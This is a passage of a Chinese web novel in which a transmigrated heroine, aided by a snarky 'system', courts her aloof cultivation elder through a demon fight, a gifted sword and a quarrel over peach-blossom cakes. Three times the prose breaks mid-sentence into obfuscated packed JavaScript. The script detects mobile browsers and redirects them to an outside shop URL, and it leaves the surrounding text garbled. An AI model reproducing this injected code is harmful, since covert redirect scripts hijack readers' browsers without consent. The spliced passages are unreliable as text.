闻言,她瞬间觉得心里生寒,完全不敢直视纪无冥的眼睛,一手捂着隐隐作痛的胸口,眉头紧皱,低着头轻声喘气。 纪无冥见她被伤得一句话都说不出的模样,心里莫名生出一股怒气,脸色越发阴沉,他手中的断春水被捏得直发抖。 她看着对方气冲冲的背影有些心虚,擅自跟踪他来是她不对,但也不至于这么生气吧。况且方才那一下真不能怪她,剑断了她有什么办法?谁知道系统的剑这么不经用。 这笔账她必须要跟那个无良系统好好算算。柳辛歆厉声道:“可恶的黑心系统,花了10000魅力值就卖给我一把这么次的剑,你知不知道,你的破剑差点害死我!你必须要补偿我的损失,不然这事没完!” 缺牙齿:【宿主,一分价钱一分货,我们系统商城做的都是良心买卖。剑断了,您应该考虑下自身原因。】 柳辛歆:“我呸!那,那我这怎么也得算工伤,不管,你们必须补偿我。” 缺牙齿:【真拿宿主没办法,看在你我相识多日的份上,你想要什么补偿。】 系统突然说人话她还有些不适应,怔愣了片刻,突然有些不好意思道:“你送我张进度卡,这事我就不追究了。” 缺牙齿:【进度卡到账,请宿主注意查收。】 她一个激动体内的气息又开始乱窜,只能原地打坐调整内息。那血妖一掌威力不小,若不是有那把剑当在前面,她只怕肋骨都会被拍断。 巷子外,一人一妖打得有来有回,惊天动地,两方都全神贯注没有退让的意思,仿佛只要比对方慢一步就会性命不保。他们打得太过于专注,以至于周围各门派的弟子不敢上去打扰,只好守在一旁护着村民,等待时机。 她光是躲在暗处都能感受到两方力量相撞带来的压迫感,听着重物从高处砸向地面的撞击声,众人的惊呼声,不用睁开眼也知道外面打得有多激烈。 两方不知道打了多久,小芙出声道:“你们这群道貌岸然的仙门弟子,真让人恶心。” 她本以为纪无冥不会理会对方,不料他却开口道:“白马山庄,十几条无辜人命,你觉得自己没错吗?” 小芙咆哮道:“他们本就该死!” 纪无冥道:“那就没必要再废话了。” 周围人时不时发出各种声音:“小心!”,“快跑,打过来了!”,“躲好!躲好!”,“太恐怖了!”。 小芙的尖叫声,剑气划破空气的凌厉风声,人群的喊叫声来回在她耳边回荡。 静默片刻,她睁开眼睛从巷子探出头来看时,小芙已经被斩于断春月之下,化成了一滩血水。人群再次沸腾,发出雀跃的欢呼声。 纪无冥黑着脸转身,越过喧闹的众人,眼神阴翳直盯着她,方才与血妖交手时的肃杀之气还未褪去,不知道的还以为对方想把她也杀了。 见状,柳辛歆一个转身又缩进了巷子里,舔了下发干的嘴唇,她能清晰地听见自己心脏快速跳动的声音,手脚无处安放,没想好现在该不该出去。 内心慌乱之际,一道白影随着阴影下落,纪无冥蹲在她的旁边,手自然搭在她的脉上,一脸平静地看着她,道:“没什么大碍,好好调息便可。” 柳辛歆有些恍惚道:“是......” 方才是她看错了吗?方才那个脸黑得吓人的不是他吗? 看着她的伤无大碍,纪无冥此刻竟然有些庆幸她的剑坏掉了,但她是因为剑坏掉了才受的伤,一时间心情复杂。柳辛歆本来还在吐槽黑心系统,花了她10000魅力值,就给她一把破洞烂铁,这把破剑差点害死她。纪无冥突然道:“回去后,寒洞关禁闭一个月。” 柳辛歆无力地笑了一下,道:“纪师叔,您现在说这个真的合适吗?我这还伤着呢。” 纪无冥道:“不罚不记性。” 说实话,她手握进度卡,在寒洞一个月,对她而言就是几秒钟的事情,能记性就怪了。 柳辛歆一脸乖巧道:“弟子知错了,全凭师叔责罚。” 这回是她偷摸跟来的,受了伤也是自作自受,没理只能认栽了。 街道上,一多半的房屋都受到了不小的损坏,有几间更是成了废墟。神奇的是他们住的那间客栈除了房顶缺了一角,其他地方都安然无恙。 纪无冥一手拦过她的肩膀将她一把捞起,带着她往前走,神色淡然,道:“回客栈休息,明日回圣清门。” 她点头应了一声。 前面正在帮村民恢复街道的几名宗门弟子见到他们过来,赶忙上来道谢。为首的那名弟子名叫徐有意,眉眼清秀,面相温良,他对二人弯腰行了一礼,道:“多谢前辈出手相助。白马山庄本是我们临山派的管辖之地,奈何那血妖法力无边,此次真是有劳各位了。” 纪无冥皱着眉,冷脸道:“除魔卫道,不分地界,你也无需多此一谢。” 徐有意愣了一下,没想到自己本来只是想客气一下,对方竟然如此不领情,尴尬一笑:“前辈说的有理。” 她觉得纪无冥的意思应该是除魔卫道本就是他们分内之事,无需放在心上,但经他嘴里加工后就莫名变了味。 其他门派的弟子本来也想上来搭话,但看见纪无冥这张拒人千里之外、冷若冰霜的脸庞,又纷纷低下头去装作看不见。 场面一度变得有些僵,纪无冥就好似没看见一般,带着她进到了客栈。在上二楼时,他脚步一顿,有些不自然开口道:“你,住哪间房?” 她正摸着胸前的铃铛思索,没注意到对方说话的语气,随手往旁边指,道:“就旁边这间。” 上楼后,柳辛歆想到了昨晚之事,顺口说道:“昨日若不是有个人突然退房,弟子差点就睡大街了。不知师叔睡在哪间房?昨日弟子等了许久都没见着您。” 闻言,纪无冥推门的手突然顿了一下,很快又若无其事推门走了进去,他道:“我不住这里。” 柳辛歆:“可是.....” 柳辛歆本来想说,可是昨日客栈老板说你就在这间客栈。而且整个白马山庄就只有这一间客栈,他不睡这里,难不成睡别人家里?她瞬间明白了什么,立马闭上了嘴。 纪无冥却死心眼,追问道:“可是什么?” 柳辛歆脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589381|205419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里飞速运转,想找一个既能不戳破他,又合理的借口,她道:“可是,昨日弟子在窗外守了一天都没看见您经过。” 纪无冥道:“那血妖修为不低,善于隐藏,临山派的结界挡不了多久。我怕她半夜突袭,所以一整晚都守在了庄外。” 柳辛歆趁机说道:“师叔一整晚没睡,方才又和血妖大战了一场,想必也累坏了。不如师叔直接在弟子房中歇息吧。弟子就在一旁榻上打坐,绝不会打扰到您。” 纪无冥在她、床和榻之间来回扫了一眼,没有过多思索,抬脚走向了窗边,语气平和道:“你睡床。” 她也不多劝,能留下就是好的,睡哪里都行。 晚些时候,为了庆祝白马山庄得救,庄主大设宴席,请他们吃了一顿好的。 第二日他们准备走时,一位上年纪的老大爷一把拉住了他们,弓着腰,抬头眯着眼,道:“哎呀,怎么这么快就要回去了。这是我们白马山庄的特产,你们带着在路上吃吧。不是什么贵重的东西,都是自家种的瓜果。” “什么!纪道长要走了,等等,我也有东西要给。” “我这里也有。” “还有我的!还有我的!” 一瞬间的功夫,他们的怀里,脚边都堆满了东西。两人四只手还得腾出两只手来御剑,实在拿不下这么多东西。于是他们一人身上便背了个比人大的包袱,她差点没稳住摔了一跤,还好有纪无冥在后面扶着她。 她愿意背这些东西就算了,让她没想到的是纪无冥也愿意冷脸背着比她大得多的包袱。看见此情此景真的很难不想笑,但看久了,她怎么觉得还有些可爱呢。 因为她的剑断了,玄虚楼的老板还大方送了她一把新的,这把看起来可比跟系统买的结实多了。 系统:【魅力值+10000】 柳辛歆连连感谢,脸上的笑容完全收不住,又蹭到男主光环了。 而此时,她突然觉得背后一凉,转头一看,旁边的纪无冥眼神肃杀盯着她手上的剑,好像恨不得砸了它。 纪无冥也正是这么想的,自己砸太明显了,让别人砸太危险了。到底怎么样,悄无声息,莫名其妙的让那把剑断掉呢? 柳辛歆赶紧将剑藏在了身侧,掩饰道:“师叔,我们走吗?” 纪无冥快速转过脸,飞到天上:“走。” 纪无冥背着的包袱比她大得多,但背在他身上就特别稳,踩在剑上的时候丝毫没有晃动。她就不一样了,脚下的剑是偏短,比纪无冥的剑小了一倍不止,踩在上面就开始摇摇晃晃。 下方的村民比她还紧张害怕,她向一边倒,人群就往一边跑,纷纷发出哎呦的声音,生怕她要掉下来了。 纪无冥看不下去,过来扶了她一把,她这才稳住了。 上年纪的那位大爷不放心道:“纪仙长,路上多照看点小姑娘,别让她掉下去了。” “纪仙长,你们路上小心啊。” 柳辛歆本来想转过头跟众人招个手,奈何后面视线全被挡死了,她只能抬高手朝身后晃了两下。 后方的村民盯着二人离去的背影,笑容逐渐凝固,神色复杂,有人没忍住道:“我怎么瞧着这么不雅观呢。” 旁边人紧急捂他嘴,道:“嘘!别让他们听见了。” 夕阳之下,两道身形渐行渐远,只远远瞧着两个巨型包子在空中缓慢飞行。 12. 再次被堵 路上,纪无冥还死死盯着她脚下的剑,好像这样就能让它断掉似的,她玩笑似的说道:“纪师叔,莫不是看上我的剑了?” 纪无冥扭头发出一声非常典型的冷笑:“破铜烂铁。” 这把剑可是玄虚楼的老板送她的,虽算不上顶好的剑,但也不至于是破铜烂铁吧。 柳辛歆不服道:“那你还一直盯着。” 纪无冥:“没见过这么次的剑,想看看是怎么做出来的。” 柳辛歆不懂剑,但也能看出这把剑绝不像他说的那般不堪。她觉得许是对方觉得自己的剑是上等的好剑,再看其他普通的剑就觉得都是垃圾。纪无冥这个小肚鸡肠的人,如果她现在怼他,好感度肯定会下降,她委婉道:“师叔,您别这么说,这是人家的一番好意。” 不知是不是她的错觉,纪无冥好像翻了个白眼,道:“既是好意,你收着便是,没必要拿出来用。” 她不用这把剑,难不成徒步回圣清门吗?纪无冥今天这是怎么了?话里话外都对她脚下的这把剑有意见,真是莫名其妙。这把剑到底怎么惹到他了?好女不跟男斗,柳辛歆耐着性子,咬牙切齿道:“好的。” 听到这话,纪无冥才满意地点了下头,不再理会她脚下的剑。 他们到圣清门时,天已经完全黑了。 纪无冥怕她摔下去,便一路扶着将她送到了桃林。当她卸下背后的大包袱之后,觉得一身清爽,身体又是自己的了。 背了一路,她现在只觉得浑身酸痛乏力,便什么也顾不上了,直接趴在了包袱上。 突然,她感觉到胸口被什么东西硌得慌,用手掏出来一看,是一枚 纪无冥盯着趴在包袱上的柳辛歆,道:“早些休息,明日晨练之后,去寒洞禁闭一个月。” 她是真的起不来了,干脆只抬起两只手,无力道:“弟子领命。” 纪无冥走后,她便把手耷拉下来,眼皮开始变得异常的沉重,嘴里不满念道:“可恶的老东西,除了关禁闭,你就不会别的了。” 迷蒙间,身后一个冷酷的声音突然钻进她的耳朵里,给她吓得背后一抖:“你要是等不及,现在就可以去寒洞禁闭。” 闻言,她一个弹射起身,脑子瞬间清醒得不行,面上大惊失色,道:“刚刚我说了什么?” 纪无冥道:“你自己刚说过的话,这么快就忘了吗?” 柳辛歆喉咙滚了滚,结结巴巴道:“我记得方才迷迷糊糊是说了什么,但那都是弟子无意之举。” 见对方冷脸不语,她赶紧道:“若是弟子不小心说了什么胡话,冒犯了纪师叔,还请您赎罪!” 纪无冥背过身,袖子一甩,冷哼一声飞走了。 她亲眼看着纪无冥飞走,确定完全看不见人影后,才把飞出去的魂收了回来,软塌塌地趴在了包袱上。 纪无冥回到小屋后,因为包袱太大只能扔在了外面,他没有立马睡觉,而是坐在蒲团上打坐。平日里他一向冷静,今日却怎么也静不下来,脑子全是柳辛歆的那句:“老东西。” 他虽然比对方年长了三岁,但今年也才二十二岁,到底哪里老了? 初见时,纪无冥只看她的眼神便知她脑子里思绪杂乱,不成章法。圣清门的修习根本便是清,所以第一日他就尽了师叔该尽的责任,罚她关寒冬禁闭思过,消除心中杂念。之后,她被同门弟子揭发动了情,他也尽了一个长老该尽的义务,用明心镜看她是否动情。让他意外的是,她的脑子里竟然比外在看起来的要干净得多,难道是此前误会她了?或者是她用了什么法术隐藏了自己的记忆? 事后又发生了一件让他气愤的事情,柳辛歆竟然跟踪他,知道了他的小爱好。他很想对她发脾气,可她看起来太乖了。在之后,柳辛歆的两位师兄下山历练,桃林就只剩她一个人了。这也是为何他没有反对她开事务所的原因,时常有人去桃林找她,兴许她就没这么孤独了。 想到这里,纪无冥猛地睁开眼睛,内心感到十分震惊,久久不能平静。他现在的心竟乱到这个地步,该关禁闭的是他才对吧。 刚准备上床睡觉,转念又想到方才柳辛歆趴在门外倒头就睡,也不知道他走之后有没有好好回房里。他心里这么想着,人已经站在了歆屋前。 看着在巨大包袱上熟睡的女子,他什么也没想就将人抱进了屋子里。 纪无冥盯着床上睡得不省人事的小人,嘴里无意识吐出两个字:“辛歆......” 回过神时他吓了一跳,帮对方盖好被子后,慌忙从屋里出来,御剑滚回了自己的小破屋。 第二日,一早醒来的柳辛歆再次记不起昨晚发生了什么,以为是自己摸着黑进了房间。晨练一结束,爽快进了寒洞,不过刚进去她就从里面出来了。为了追求效果,她还特意在自己的脸上撒了几把冰渣子,装作很冷的样子。 出寒洞后,柳辛歆走过后山,发现一道白影站在门前,她赶紧上前行了一礼。纪无冥看了她一眼,平静道:“进来。” 她跟着纪无冥进到屋内,内心拿不定主意对方想干嘛,询问道:“不知师叔找弟子何事?” 纪无冥走到床边,拿起了什么东西,转过身,一个细长的匣子被他抱在怀里。 纪无冥一手将匣子递过来,她赶忙双手接住,直觉告诉她,这里面是一把剑。接下来,纪无冥的话就印证了她的猜测。他道:“这把剑比你之前用过的都要结实,拿去用吧。下次,别再因为剑断了这种事输给妖了。” 柳辛歆根本没听他后面说的话,拿着盒子,心脏砰砰砰的跳,眼里满是期待,道:“我,弟子现在可以打开看看吗?” 纪无冥挑眉道:“剑已经是你的了。你想看就看,何必问我。” 她转身将匣子放在桌上,深吸口气,慢慢将匣子打开。 是一柄约莫三尺的长剑,剑柄中间是桃花状的晶石,闪着精光,剑身有桃红光流动,虽显秀丽却不失刚猛,锋利无比。这一看就是把好剑,她此前的剑确实跟这个没法比。 不过这看起来也太少女心了吧。她虽然现实也才二十五岁,但已经很久没用过这么粉嫩的东西了。纪无冥这完全是把她当小女孩了呀。 她拿在手上重量刚刚好,因为在屋内她不敢乱来,不过感觉很趁手。柳辛歆道:“师叔,不知这把剑可有名字?” 纪无冥早就背地里给它取了好几个名字,但都没打算用,他想着可能柳辛歆会想着自己取一个。既然她问了,纪无冥淡定道:“有。” 柳辛歆一脸期待,问道:“是什么?” 纪无冥道:“灼玉,你若不喜欢,可自行取名。” 柳辛歆跟着念了一遍,对这个名字很是满意,笑道:“不用另取,我很喜欢纪师叔取的这个名字。” 听到纪师叔三个字纪无冥明显愣了一下,藏在衣袖里的手紧捏成拳,道:“你喜欢便好。” 她将剑小心翼翼地放进匣子里,抱在怀里,对着面前人鞠了一躬,道:“多谢师叔赠礼,弟子一定会好好使用这把剑的。” 下山时,她心里还是暖洋洋的。纪无冥竟然送她剑,是什么时候给她准备的呢?联想到上次他说她的剑是破铜烂铁,难道在那之前就打算将剑送她了吗? 她刚来到半山腰,见到被众人堵住的路口,心情瞬间晴转暴雨雷电。好歹是宗门第一的弟子,怎么老爱干堵门的事情,真的很讨厌。 柳辛歆抬手一扫,将剑收了起来,镇定自若地走向众人。 见她走过去,有人戳了戳旁边的人,道:“来了,来了!” 看着这几个人的模样不像是刚入门的弟子,柳辛歆道:“各位师兄、师姐,有何贵干?” 听到她说话,不少人都开始交谈起来,道:“她真的变了,好客气啊。” “是啊,简直性情大变,眼神都清澈了不少。” 柳辛歆之前的性格到底是多恶劣啊,怎么感觉不是众弟子霸凌她,是她霸凌众弟子呢。 为首的那名女弟子婉约可人,名叫舒辞。对方道:“柳师妹,我听说你算卦可准了,不知可不可以给我们算算?” 她都准备关门,结果来了泼天的富贵,天降顾客,真的让她很为难啊。柳辛歆道:“自然是可以。不知,你们谁先来?” 成熟的老弟子就是不一样,一个个的都谦虚得不得了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589382|205419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统虽然没给她提供与男主有关的任务剧情,但是人物解析给得挺透彻。书房内,舒辞问道:“柳师妹,你怎的突然干起算命的行当了?” 这件事说来就话长了。起因是她欠了系统的巨额魅力值才想到的这招,只是万事开头难,根本没几人光顾她的事务所。前几日好不容易来了几个人,还都是冲着跟纪无冥打好关系来的,总共没加多少魅力值,还不如她下一趟山值钱。 本来都打算关门歇业跟着纪无冥混了,谁知事务所又时来运转,一下来了这么多人,白花花的银子不赚白不赚。柳辛歆叹了口气,一脸惆怅,道:“我这不是一个人在桃林太寂寞了吗。每日一个人练剑,一个人吃饭,一个人睡在这偌大的桃林里,所以就想找点事情给自己做。” 舒辞看她一副深情流露的模样,没有怀疑她的话,还觉得自己是不是不该问这个问题,有些心疼道:“原来如此。” 接下来,她知道对方也许不会问些什么正经问题,但总该比之前的新弟子强些。没想到的是比之前更糟糕,每个进来的弟子先是明里暗里试探她是不是真的变好了,确保她真的不会翻脸后,趁机毫无负担的发泄对她的种种不满和恶劣行径,顺带夸奖大男主。 “柳师妹,此前是我错怪你了。宋长荣说你两面三刀,喜欢师叔,我全都相信了。但近几日看你的表现,明显不是这么一回事。” 柳辛歆:“是是是。” os:别质疑自己,原主确实是这么一回事。 “纪师叔果然是年轻有为,不仅修为高,教导弟子这方面也很有一套。” 柳辛歆:“是是。” os:你们有没有想过,她变好,不是他的问题,而是她自身的问题。 “师妹啊,你趁此可要好好跟着纪师叔好好修行……但如果有机会的话,能不能把我也带上?” 柳辛歆:“是,此事难办。” os:还带上你,我连你也一起攻略了呗。 “柳师妹,我真不敢相信这么短时间内,你竟然有如此大的转变。还记得上次有位师兄瞪了你一眼,你把她牙都打掉了两颗。” 柳辛歆:“是我冲动了。” os:原主闯的祸,为什么要她来受罪啊! 听了一天的思想教育,她简直要怀疑人生了。关门!她现在就要关门! 系统:【魅力值+250。】 柳辛歆激动:“你骂谁二百五?” 缺牙齿:【宿主,这是系统发的魅力值,不是骂人的话。许久不见,宿主您变得有些许敏感了呢。】 柳辛歆回过神,扶额道:“啊,原来是魅力值啊。魅力值!” 嗯?什么意思?就这么点?难道系统也觉得她开心理事务所不划算、纯受罪吗?这是趁着发奖励,变相骂她呢。 不过确实是如此,他跟纪无冥随随便便出趟门,都能加一万的魅力值,这落差也太大了。 因为前天晚上太累,她第二天在晨练上差点睡过去。不知是不是被纪无冥盯得应激了,她刚在入睡的边缘,心突然慌了一下,脑子立马清醒了过来。 小破屋中,柳辛歆乖乖地坐在蒲团上一动不敢动,纪无冥冷着脸在她旁边。 纪无冥闭着眼,心平气和道:“你昨日在干什么?” 柳辛歆道:“昨日有许多师兄师姐来桃林找我聊天。” 纪无冥:“聊什么?” 柳辛歆:“聊一些之前的事情。” 她听见旁边人冷哼了一声,好像在说有什么好聊的,你以前人缘很好吗?纪无冥再次问道:“昨日一整天你都跟他们在一起吗?” 柳辛歆老实说道:“嗯。” 她心里没底,搞不懂纪无冥为什么突然问这些。他应该是不在意这些东西的,可是怎么觉得他莫名就不高兴了呢。 纪无冥道:“今日呢?” 柳辛歆:“弟子还没回桃林,不知今日还会不会有人来。” 半晌无人说话,柳辛歆偷偷瞥了他一眼,小心道:“弟子现下可以走了吗?” 纪无冥闭着眼,嗯了一声,刚准备起身,他又道:“坐下。” 13. 口是心非 柳辛歆又重新坐回了蒲团上,道:“师叔,还有何事?” 纪无冥道:“你最近心思繁杂,坐下好好静静心,若是心静不下来,那就给我去寒洞。” !!? 柳辛歆一脸疑惑转头,想问对方是从哪里看出自己心不静的?而纪无冥却一直闭着眼,只留一个清晰冷峻的侧脸给她,桌上暖黄的烛光映在他的脸上,又多出了几分柔软。她几次张了张口,最终还是什么都没说,安安静静闭上了眼。 不知为何,她有时候总能在纪无冥身上看见男朋友的身影。她的男朋友表面上很阳光,温暖、帅气,但其实是个占有欲和控制欲都极强的人,一点小事都会让他吃醋。辛歆早年因为家庭因素,极致悲观,性格孤僻没什么朋友,但其实她是个性格很乖的人,这点正好满足了男朋友的占有欲。 在男朋友离世后的几年里,她努力活成对方的模样,试图在自己身上找到他还活着的证明。若是她有朋友的话,对方一定会认为她疯了。 在二人相处的这段时间里,她好像在不知不觉中逐渐变回那个话少乖巧的辛歆。 待她从后山回到桃林,已经过了午时,但她并不觉得饿。她一到桃林就发现林中多了许多白色的身影,背后五颜六色的花纹紧挨在一起,欢呼雀跃、手舞足蹈,很是热闹。 有几名弟子见她来,纷纷走了上来,为首的舒辞上来拉过她的手,道:“柳师妹,昨日我们说好一起在桃林练功,你怎的现在才回来?” 柳辛歆挠了挠头,不好意思道:“下山时我被纪师叔喊住了,他同我说了些修行上的问题,所以耽搁了些时候。” 舒辞一脸羡慕,说道:“七长老可真是认真负责呢。” 其余弟子也纷纷道:“是啊。” “七长老什么时候也能指点指点我啊。” “我也想。” “我还没见过七长老对哪个弟子这么上心过呢。” “对啊,柳师妹可是有什么法子讨得七长老的欢心?” 她正欲开口辩解,有弟子理智回道:“七长老是代五长老行师父之责,自然是要对柳师妹上心些,你们也不必如此多心。” 另一位弟子附和道:“说得有理。柳师妹现下一个人在桃林,一没师父教导,二没个师兄师姐指点,七长老多多上心也是情理之中。” “再者,七长老一向不喜阿谀奉承、投机取巧之人,想主动讨他欢心何其艰难?” 柳辛歆看着本来对准她的矛头突然被移开,又惊又喜,心里瞬间有了底气,原来被人帮着说话是这种感觉。 众人你一言我一语又来回说了几句,才渐渐停住嘴。 舒辞将她拉到另一边,对着正在比试的两位弟子,道:“柳师妹,平日你一个人在桃林练功也甚是乏味,不如待会儿你我来比划比划。” 本来还在打斗的二人,听到她们的话也停下来,道:“此前我就听说柳师妹功法卓绝,今日难得在此,我也想见识见识。” 柳辛歆颔首浅笑,拱手道:“那就恭敬不如从命了。” 桃林的中间有一片空地,周围有结界围着,是用于练功的地方。 柳辛歆在原文的设定是恋爱脑炮灰,只因文中对她的描述太少了,真正出场不过三次,第一次去问纪无冥修行方面的问题,第二次是在新生试炼,最后一次是为纪无冥挡刀。其余话都是在同门弟子口中听说的,说她不对纪无冥以外的人给笑脸,恋爱脑炮灰得以得名。 只看到这些,是个人都觉得她恋爱脑,她本人也是这么认为的。当时她还想对方到底是怎么进入圣清门的?只有当她真正的成为柳辛歆后才知道,能进入圣清门的都不会是一般人,要相信长老们的眼光。 她连续跟好几名师兄、师姐轮番比试,赢多输少,还有几个打成了平手。比试完后,众人皆口干舌燥、汗流浃背,她拿茶水时,顺手将昨天做好的桃花饼一并拿来招待了。 舒辞拿起桃花饼吃了一口,惊喜道:“真没想到柳师妹竟然还有此等手艺,这个桃花饼的味道是我吃过最好吃的。” 柳辛歆谦虚道:“这些都是古师兄教我的。” 舒辞道:“说到这个,他们下山历练也有一个多月了吧。” 柳辛歆点了点头,道:“有了。” 舒辞道:“去百夭山历练的时间是三个月,距离他们回门也不远了。” 对方顿了顿,又道:“话说,江玉仙师姐还没出关吗?” 柳辛歆随口接道:“还早着呢。” 旁边弟子道:“江玉仙师姐是我见过最有天赋的女弟子,她的实力在圣清门弟子中恐怕能排上第一。” “哎,你们说她和七长老有得比吗?” “你说呢?七长老之所以是长老,那就是修为比我们都要高出一大截。” “我也就是这么说说而已。而且江师姐现下在闭关,等出来后实力必定大胜从前。” “那也不可能胜过长老。” 一眼看透全局的她就在一旁默默替他们收盘子,倒茶,时不时插两句嘴。江玉仙果然是名字出场的次数比本人还多的角色,跟她的师父尤璃一样,充满了捉摸不定的神秘感。在五长老的四位徒弟中,江玉仙应该是最像她,最能继承她衣钵的人了。 待众人纷纷走后,她看着干净的盘子,沉思良久,回过神时,心道:遭了!那桃花饼本来是要讨好纪无冥的! 算了,待会儿下山给他买几串糖葫芦,哄一下得了。 后山,小破屋里,五根糖葫芦安安静静地躺在桌上。纪无冥闭眼坐在一旁的蒲团上,看也不看桌上的东西。 柳辛歆心虚道:“纪师叔?” 纪无冥道:“我想知道,昨夜是我神志不清听错了,还是你送错了。” 柳辛歆道:“是弟子送错了。” 纪无冥道:“桃花饼呢?” 柳辛歆道:“吃完了。” 纪无冥猝然睁开眼,一脸幽怨的盯着她:“你一个人全吃完了?” 柳辛歆道:“不是。我一个人怎么吃得下这么多。” 纪无冥哼了一声,又闭上了眼睛,他算是知道怎么回事了。不用想都知道,柳辛歆拿本来要送给他的桃花饼招待别人去了。他都能想象到,她给别人吃桃花饼时,别人夸奖她,她对别人笑得一脸开心的模样。 柳辛歆看着对方眉头紧锁,嘴唇还时不时的颤抖,看来气得不轻。这老东西,也太护食了吧! 她道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正自顾叹气,她突然想到可以查看攻略数值啊。 点来一看:好感度:20%,信任度:0%,愉悦度:-20% 这个数值可以说是非常奇怪了。对方在不想理她的情况下,好感度竟然升了这么多!意思是纪无冥虽然不开心但并没有生她的气。按照以往,如果纪无冥生她的气,都会出现一个怒气值,可从昨日到现在,那个数值就没有出现过。 若是没有这个参考值,谁知道他心里怎么想的,害得她以为自己要从头开始攻略了。他的心思可真是难猜啊... 回到桃林,她快速摘了一篮子桃花,没有参与众弟子的比试,略过他们直接进了厨房。 等桃林中的弟子都回去后,桃花饼也做好了。她将桃花饼用食盒装好,满满三大盘,这下纪无冥应该开心了吧。 后山小屋前,她熟练地敲了敲门,发现没有人回应,抬手推门走了进去。房间不大,一眼就能看遍,里面空无一人。 转眼,她瞧见桌上多了张纸,拿起来一看,上面写着:血妖作乱,别跟来,否则后果自负。 柳辛歆怔怔地看着手里的信纸,良久,她将信纸揉成一团,提着食盒,摔门而出。 14. 独守空林 往后的一个月里,她只当没见过那封信,暂时忘掉纪无冥的存在,安心地在桃林经营她的辛理事务所。 抱着能赚一点是一点的心态,她一直坚持着没有关闭心理事务所,奈何身为个炮灰体质,没有主角光环的照拂,纪无冥这一走,把众弟子也带走了。现在不止是桃林,而是这座断尘山就真的只剩她一个人了。 看着纪无冥的任务栏,跟一键通关似的一个接着一个的亮起,她心想若是自己也跟着下山,这时候该赚了多少魅力值了啊。 她知道纪无冥喜怒无常、脾气怪异,所以一直都很小心,一忍再忍,从不多言。可即便如此,她最害怕的事情还是发生了,攻略值全部清零了。 柳辛歆满脸绝望:“进也不行,退也不行,你到底要怎样啊!” 系统给她的这两个任务可谓刁钻,第一个任务不完成,第二个就无法实行。柳辛歆暗暗发誓,等到攻略值一满,她立刻一头撞死,到时候就让纪无冥哭去吧! 晚饭她在二丫饭馆大吃了一顿,以此弥补内心的创伤,饭后心情大好,攻略值清零也无所谓,大不了重头来过。快飞到断尘山时,她心想左右无事可做,倒不如爬山消消食。 柳辛歆一手提灯,一手拿剑当登山杖使,走一步路上就多一道剑痕。走在山路上,她能闻到树叶和泥土混合的清香,林中鸟不时发出低沉的怪叫声,月光透过树叶照在路上,更显得宁静怡人。 快到半山腰时,她觉得有些困了,打了个大大的哈欠。霎时间,上方白影一闪,她一手提灯,另一手举剑,急忙跑了上去。 柳辛歆急喊道:“纪师叔!” 闻言,前方的人立时停下脚步,转过身来,对方还是那副冷淡、拒人千里的模样。可即便对方冷着脸,也是好看的,再次见到那张熟悉无比的脸,她此刻却只觉得陌生,是和初次见面不一样的陌生感。 柳辛歆道:“纪师叔是刚回断尘山吗?” 昏暗的夜色下,只有她手上的灯发出微弱的光,纪无冥站在离她四五步的距离,神情淡漠,扫了她一眼,喉咙滚动,淡淡道:“嗯。” 须臾,纪无冥又道:“明日一早就走。” 柳辛歆道:“那这次弟子.....” 纪无冥无情打断她,说道:“你不许跟来。” 要换做平日他不让跟那便算了,可如今攻略值清零,她可无法坐以待毙。她道:“为何?” 她不相信纪无冥是因为桃花饼这种小事,而不让她下山,但又想不到别的原因。 纪无冥蓦地向她逼近,眼底闪过一丝怒意,面目扭曲,冷声道:“为何?你难道忘了上次自己怎么被血妖伤到的吗?修为不行,就在山上多练练吧。” 见对方还揪着此事不放,柳辛歆心中没来由地烦闷,开口辩解道:“我那次是意外。” 纪无冥朝她吼道:“一次意外就足以让你送命!” 话说出口的一瞬间他就后悔了。柳辛歆怔在原地,茫然无措,本来有话可说,此刻也变得无话可说了。 纪无冥转过身背对着她,极力压制自己的情绪,偏头对她道:“好好待在山上。” 对方刚走出一步,她开口道:“纪师叔既然心意已决,弟子听从便是。只是不知纪师叔可否在此多等片刻,弟子拿了东西很快就回来。” 纪无冥没说话也没走,见状,她转头回了桃林,再次来到外面时,手上多了一个食盒。 柳辛歆半抬起手,盯着对方的背影,道:“这里面是弟子今早刚做好的桃花饼,纪师叔拿在路上吃吧。” 对方转回身面向她,眼睛没有去看她手上的东西,而是直勾勾地盯着她的脸看,越看心越乱。纪无冥本想说不需要,可他的手已经不自觉将东西接过了。 柳辛歆对着他行了一礼,道:“师叔早些歇息,弟子先行告退了。” 但凡对方不是纪无冥,她肯定早就不听话的跑下山去,或者死缠烂打跟对方说话了。可他偏偏就是纪无冥,我不找你,你就别找我,拒人千里之外,对人有一套自己的极端看法。他有很多讨厌的东西,比如:不听劝、话多、碍事等等都能成为对方的雷点。 